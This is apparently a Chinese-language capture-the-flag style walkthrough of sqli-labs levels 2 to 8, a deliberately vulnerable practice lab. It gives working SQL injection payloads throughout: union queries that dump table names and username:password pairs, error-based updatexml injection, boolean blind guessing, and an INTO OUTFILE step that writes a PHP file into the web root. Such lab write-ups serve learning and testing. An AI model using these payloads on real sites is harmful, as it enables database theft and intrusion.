sqllabs(2)
Less-2
跟第一关的步骤一样
1.确定列数:
?id=1 order by 3 --+ # 正常
?id=1 order by 4 --+ # 如图报错,说明有3列
2.确定可显示列:
?id=-1 union select 1,2,3 --+
3.获取数据库信息:
?id=-1 union select 1,database(),version() --+ #这将显示当前数据库名称和MySQL版本
4.联合查询获取表名、列名、和数据
获取表名
?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+
获取users表的列名
?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' and table_schema=database() --+
获取数据
?id=-1 union select 1,group_concat(username,':',password),3 from users --+
Less-3
图是第三关的源码,解题步骤一样,只是闭合方式不同
变为单引号和右括号闭合。
确定列数:
?id=1') order by 3 --+联合查询获取信息:
?id=-1') union select 1,2,3 --+获取数据库信息:
?id=-1') union select 1,database(),version() --+
Less-4
这是第四关的源码,可知是")闭合。
为什么必须用 ")
闭合?
双引号:代码强制用
"
包裹输入($id = '"' . $id . '"'
)括号:SQL语句中包含
id=($id)
的括号结构闭合顺序:必须先闭合内层双引号,再闭合外层括号
获取列数:
?id=1") order by 3 --+联合查询:
?id=-1") union select 1,2,3 --+获取数据库信息:
?id=-1") union select 1,database(),version() --+
Less-5
第5关有点不一样,由源码得知,前端不回显。
也就是说前端页面不显示查询到的数组,或者说查询到了数据没往前端写。所以前端看不见了,也就不能联合查询。
但是显示报错信息,那就直接报错注入。
?id=1' and updatexml(1,concat(0x7e,(select user()),0x7e),1) --+
0x7e
是波浪号(~)的十六进制
获取所有表名
?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1) --+获取 users 表的列名
?id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database()),0x7e),1) --+获取用户名和密码
sql
?id=1' and updatexml(1,concat(0x7e,(select group_concat(username,':',password) from users),0x7e),1) --+注意事项
※报错注入有长度限制(通常约32字符),可以使用以下方法绕过:
?id=1' and updatexml(1,concat(0x7e,substring((select group_concat(username,':',password) from users),1,30),0x7e),1) --+然后修改 substring 的起始位置获取完整数据
Less-6
第6关也一样,无非就是双引号闭合
Less-7
说你必须要写文件。先看源码
1) '))闭合 2)不回显 3) 回显报错
怎么写入文件?
1、是root权限
2、必须知道网站的物理路径
3、secure_priv_ 必须什么都没有,不是null。有三种情况①什么都没有是哪个地方都能写,②如果是固定路径只能往这个路径写,③是null什么都不能写
在第7关下创建一句话木马
?id=-1')) union select "<?php phpinfo();>",2,3 into outfile "D:\xiaopi\phpstudy_pro\WWW\sql\Less-7\\web.php"--+
虽然报错,但还是写入了。后面都一样
Less-8
无回显,没有报错。联合查询和报错注入用不了
当?id=1'时回显:you are in
当?id=1时不回显
此时页面只有两种状态,一个成功,一个失败。那这就是布尔型,所以这一关就是布尔盲注。
手工注入:
1. 获取数据库名长度
?id=1' and length(database())=8 --+ (通过改变数字测试,当返回"You are in..."时即为正确长度)2. 逐字符猜解数据库名
?id=1' and substr(database(),1,1)='s' --+ (修改第一个数字为字符位置,第二个字符为猜测值)3. 使用ASCII码更高效
?id=1' and ascii(substr(database(),1,1))=115 --+ (115是's'的ASCII码)4. 获取表名
?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101 --+ (获取第一个表的第一个字符,101='e',对应emails表)
也可以用sqlmab注入